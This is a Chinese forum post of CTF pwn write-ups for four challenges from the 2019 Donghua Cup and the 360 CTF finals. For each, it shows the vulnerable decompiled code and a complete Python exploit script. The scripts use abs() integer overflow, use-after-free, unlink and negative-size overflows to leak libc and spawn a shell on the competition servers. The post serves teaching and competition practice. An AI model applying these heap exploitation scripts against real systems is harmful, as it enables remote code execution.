2019-东华杯&2019-360ctf__PWN题解

发布者:Seclusion
发布于:2019-11-06 22:48

2019-东华杯&2016-360ctf__PWN题解

上周六有两场比赛重合了,解出了全部的pwn,趁着还有些印象,分享一下上周六的两个比赛的pwn题解,东华杯初赛的三个pwn,360复赛的一个pwn,难度不大。

2019-东华杯

Boring_Heap

漏洞点

常见的菜单题目,libc 2.23,程序逻辑很好分析,漏洞点在于update过程中的abs()函数。

v3 = __readfsqword(0x28u);
  puts("Which one do you want to update?");
  v2 = abs(get_int()) % 30;        ###存在漏洞
  if ( global_node[v2] && (global_size[v2] == 32 || global_size[v2] == 48 || global_size[v2] == 64) )
  {
    puts("Where you want to update?");
    v0 = abs(get_int()) % global_size[v2];        ##存在漏洞
    puts("Input Content:");
    read_n(&global_node[v2][v0], global_size[v2] - v0);
  }

这个漏洞点在2019-强网杯-babycpp也出现过,感兴趣的可以看看2019-qwb-babycpp也是考察到了这个漏洞点,记得当初我还没有审出来,abs()函数的漏洞成因可以看看这个文章内存中的数据存储

 

关于本题abs()函数利用的测试代码如下:

#include <stdio.h>
#include <stdlib.h>

int main()
{        
    int a = -0x80000000;        
    int b = abs(a);        
    printf("the return value of abs(a) is : %d(10) %d(10) %d(10) .\n",b%0x20,b%0x30,b%0x40);        
    return 0;
}


output:                the return value of abs(a) is : 0(10) -32(10) 0(10) .

漏洞利用

从测试代码可以看到,当我们编辑mem_size 0x30大小的chunk的时候,输入-0x80000000大小的idx会造成整数溢出,导致我们可以向当前chunk_mem的-0x20大小处编辑,由此可以改变chunk size进行构造overlapped chunk。

 

期初我尝试用top_chunk_atk来get shell,但是感觉可能要构造一下heap的布局;于是选了一种简单的方式,控制unsorted bin的bk,house of orange就可以get shell了。

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './pwn'
    ctx.remote = ('8sdafgh.gamectf.com', 10001)

    ctx.symbols = {
        'node':0x2020c0,
        'size':0x202040,
        'limit':0x202020,
    }

    ctx.breakpoints = [0x11CB]#menu:0x11CB update_read_n:0x0109B

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(choice,content='\n'):
        sla('5.Exit',1)
        sla('arge',choice)
        sa('tent:',content)

    def delete(idx):
        sla('5.Exit',3)
        sla('delete?',idx)

    def show(idx):
        sla('5.Exit',4)
        sla('view?\n',idx)

    def edit(idx,where,content):
        sla('5.Exit',2)
        sla('update',idx)
        sla('update',where)
        sa('tent:',content)

    rs('remote')
    add(1)#0
    add(2)#1
    add(2)#2
    add(2)#3
    add(2)#4
    add(2)#5
    add(2)#6
    add(2)#7
    add(1)#8

    #leak libc
    edit(1,-0x80000000,p64(0)*3+p64(0x181)+'\n')#modufy the size
    delete(1)
    add(2)#9  overlapped with 2
    show(2)
    libc_base = uu64(r(6)) - 0x3c4b78
    lg('libc_base : ',libc_base)

    #leak heap
    add(2)#10 voerlapped with 2
    delete(4)
    delete(10)
    show(2)
    heap_base = uu64(r(6)) - 0x0f0
    lg('heap_base : ',heap_base)

    #house of orange
    system = libc_base + 0x045390
    _IO_list_all = libc_base + 0x3c5520
    edit(0,0,p64(system)*4)
    fake_file = '/bin/sh\x00'+p64(0x61) # fake_file
    fake_file += p64(0)+p64(_IO_list_all-0x10) #unsorted bin attack
    fake_file += p64(0)+p64(1) #bypass check
    edit(3,-0x80000000,p64(0)*2+fake_file+p64(0)*2)
    edit(6,0,p64(0)+p64(heap_base+0x10)+'\n')

    irt()

login

漏洞点

菜单类型pwn,chunk在free之后并没有清空,并且存在edit功能,因此UAF可利用。

if ( v1 < 0 || v1 > 5 )
  {
    puts("Wrong id!");
  }
  else if ( qword_602040[v1] )
  {
    free((void *)*qword_602040[v1]);
    free(qword_602040[v1]);
    puts("Delete success!");

漏洞利用

没有开PIE,并且bss段存储了node,存在UAF漏洞,可以通过UAF构造任意写,任意写要注意一下分配的技巧,如下面这样,要使得chunk中存在残留的heap信息,这样我们就可以通过partial write来修改heap的信息:

            reg(0,0x90)
            reg(4,0x68)
            delete(0)
            delete(4)
            reg(5,0x18)

然后bss端的node数量有限制,我们可以通过任意地址写来不断清空bss段绕过这个限制。

 

泄露libc就是通过16字节的爆破分配到stdout,修改stdout来泄露libc。

 

最终就是fastbin_atk修改malloc_hook为one_gadget来get shell。

这道题目其他的队伍都交的比较快,可能有其他更简单的方式吧。

exp如下

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './login'
    #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    ctx.remote = ('8sdafgh.gamectf.com', 20000)
    #ctx.debug_remote_libc = True

    ctx.symbols = {
        'node':0x602040,
    }

    ctx.breakpoints = [0x400E15]#menu:0x400E15  strcmp:0x400B94 edit_read:400DAB

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def reg(id,len,passwd='\n'):
        sla('ice:\n',2)
        sla('id:\n',id)
        sla('length:\n',len)
        sa('password:\n',passwd)

    def m_reg(id,len,passwd='\n'):
        sl(2)
        sla('id:\n',id)
        sla('length:\n',len)
        sa('password:\n',passwd)

    def delete(id):
        sla('ice:\n',3)
        sla('id:\n',id)

    def edit(idx,passwd):
        sla('ice:\n',4)
        sla('id:\n',str(idx))
        sa('pass:\n',passwd)


    while True:
        try:
            context.log_level = 'info'
            #rs()
            rs('remote')
            #dbg()
            reg(0,0x90)
            reg(4,0x68)
            delete(0)
            delete(4)
            reg(5,0x18)
            #dbg()

            bss = 0x602040
            #dbg()
            edit(5,'\x68')
            edit(4,p64(0x21))
            edit(5,p64(bss))
            edit(4,p64(0)*6)

            #dbg()
            reg(0,0x10)
            reg(4,0x10)
            delete(0)
            #dbg()
            delete(4)
            #dbg()


            reg(5,0x18)
            #fake_chunk
            reg(1,0x10)
            edit(5,'\x00')
            edit(4,p64(0)+p64(0x131))
            edit(5,'\x30')
            edit(4,'\x10')
            #dbg()
            delete(0)
            reg(2,0xb0)
            edit(5,'\x00')
            edit(4,p64(0)+p64(0x21))
            delete(0)
            #dbg()
            edit(5,p64(bss)+p64(0x60)*2)
            edit(4,p64(0)*6)
            #dbg()

            reg(0,0x50)
            #dbg()
            reg(4,0x8)
            reg(1,0x10)
            delete(1)
            #dbg()
            delete(4)
            #dbg()
            reg(5,0x18)

            #fastbin atk
            edit(5,'\xd0')
            edit(4,'\xdd\x25')
            #dbg()
            ############################3
            reg(2,0x60)
            payload= '\0'*0x33+p64(0xfbad3887)+p64(0)*3+'\0'
            reg(3,0x68,payload)
            ru('\xa3')
            r(7)
            libc_base = uu64(r(8)) - 0x3c56a3
            aim = libc_base + 0x3c4aed   #padding = 0x13-8
            lg('libc_base',libc_base)
            #raw_input()
            #dbg()

            edit(5,'\x30')
            edit(4,'\x50')
            #dbg()
            delete(1)
            delete(0)
            #dbg()
            edit(5,p64(bss)+p64(0x60)*2)
            edit(4,p64(0)*6)
            #edit(4,p64(aim))
            #dbg()

            reg(0,0x20)
            reg(4,0x20)
            delete(0)
            delete(4)
            #dbg()
            reg(5,0x18)
            #dbg()

            aim = libc_base + 0x3c4aed
            edit(5,'\xd0')
            edit(4,p64(aim))
            #dbg()
            reg(1,0x60)
            payload = '\0'*0x13 + p64(libc_base+0xf1147)
            reg(2,0x68,payload)

            irt()
        except KeyboardInterrupt:
            break
        except EOFError:
            continue

silent_node

漏洞点

同样是UAF,可编辑,无show函数,got表可改,无PIE,node存在bss段上。

 

好吧,明显是unlink控制bss段,然后任意地址写。甚至和入门的unlink同样简单。但是不知道为什么这么少的队伍做出来,我也没有想出来,是队友告诉我的。

漏洞利用

unlink应该都懂,这里强调一下伪造unsorted bin chunk想要free的时候,需要伪造next chunk以及next next chunk。并且unlink能够成功的条件是,unsorted bin链表是正常的。

 

exp如下

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './pwn'
    #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    #ctx.remote = ('8sdafgh.gamectf.com', 35555)
    #ctx.debug_remote_libc = True

    ctx.symbols = {
        'small':0x6020d0,
    }

    ctx.breakpoints = [0x400D75]#menu:0x400D75

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(choice,content='\n'):
        sla('4.Exit',1)
        sla('add?',choice)
        sa('tent:',content)

    def delete(choice):
        sla('4.Exit',2)
        sla('arge',choice)


    def edit(choice,content):
        sla('4.Exit',3)
        sla('update',choice)
        sla('tent:',content)

    rs()
    bss = 0x6020d8
    add(2)
    f = {
        0x8:0x51,
        0x50:0x50,
        0x58:0xa0,
        0xf8:0x21,
        0x118:0x21
    }
    payload = fit(f,filler='\0')
    edit(2,payload) #prepare for the fake_chunk
    add(1)
    delete(2)

    add(1)
    add(1)
    add(1)
    #unlink
    f = {
        0x8:0x51,
        0x10:bss-0x18,
        0x18:bss-0x10,
        0x50:0x50,
        0x58:0xa0
    }
    payload = fit(f,filler='\0')
    edit(2,payload)
    delete(1)

    #leak libc
    free_got = 0x602018
    puts = 0x400740
    srand_got = 0x602048
    edit(2,'\0'*0x18+p64(0x6020d0))
    edit(2,p64(free_got)[:-1])
    edit(1,p64(puts)[:-1])
    edit(2,p64(srand_got)[:-1])
    delete(1)
    ru('\x0a')
    libc_base = uu64(ru('\x0a',drop=True))-ctx.libc.sym['srand']
    lg('libc_base',libc_base)

    #get shell
    system = libc_base + ctx.libc.sym['system']
    edit(2,p64(free_got)[:-1])
    edit(1,p64(system)[:-1])
    edit(2,p64(0x6020d8)+'/bin/sh\0')
    delete(1)

    irt()

总结

去年的东华杯我也参加了,相较于今年的pwn题,去年的两个pwn题目质量更高(去年考察了一个arm_pwn的rop利用,第二题是 通过模拟服务器行为在其中藏了一个double free,第二题在现在来看平平无奇,当初做起来还是让人眼前一亮的),总之,东华杯作为一个学校来说,能够每年承办这种比赛还是挺不错的,老师应该很辛苦,希望以后越办越好。

360ctf 复赛

360复赛只有一个pwn,可能因为线下赛是内网渗透吧,所以pwn的比重不大。

溢出点,负数溢出。

    pool[i] = malloc(0x10uLL);
      if ( !pool[i] )
      {
        puts("Allocate Error");
        exit(-1);
      }
      puts("Do you want encode(0) or decode(1) your secret ?");
      __isoc99_scanf("%d", &v1);
      if ( v1 == 1 )
      {
        puts("please input your secret:");
        read(0, buffer, (unsigned int)nbytes);   #  存在溢出   ,输入一个负数
        b64decode((const char *)buffer, i);
        memset(buffer, 0, 0x200uLL);

把encode/decode看明白就没啥东西了,exp利用起来也不长。

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './360'
    #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    ctx.remote = ('180.153.183.86', 10001)
    #ctx.debug_remote_libc = True

    ctx.symbols = {
        'node':0x6020e0,
    }

    ctx.breakpoints = [0x04015A2 ]#menu

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(size,module,content='\n'):
        sla('ice',1)
        sla('size',size)
        if module !=2:
            sla('secret ?',module)#encode(0) or decode(1)
        else:
            sla('secret ?',0)
        if module == 1:
            sa('secret:',base64.b64encode(content))
        elif module == 0:
            sa('secret:',base64.b64decode(content))
        else:
            sa('secret:',content)
    def delete(idx):
        sla('choice:',4)
        sla('destroy:',idx)

    def show(idx):
        sla('choice:',2)
        sla('notes:',idx)

    def edit(idx,content):
        sla('choice:',3)
        sla('edit:',idx)
        sa('secret:',content)

    rs()
    add(0x100,1,'a'*0x100)
    add(0x1,1)
    delete(0)
    dbg()
    add(0x1,1)

    show(0)
    lb = uu64(ru('\x7f',drop=False)[-6:])-0x3c4c38
    success('libc_base = {}'.format(hex(lb)))
    sys = ctx.libc.sym['system']+lb
    sl(6)
    ru('Wrong')
    delete(7)
    delete(8)
    delete(9)
    add(-1,2,'b'*0x200+p64(0)+p64(0x71)+'/bin/sh\x00'+p64(0x602018))
    edit(0,p64(sys))
    delete(0)
    irt()

360初赛两个pwn的exp需要自取


声明:该文观点仅代表作者本人,转载请注明来自看雪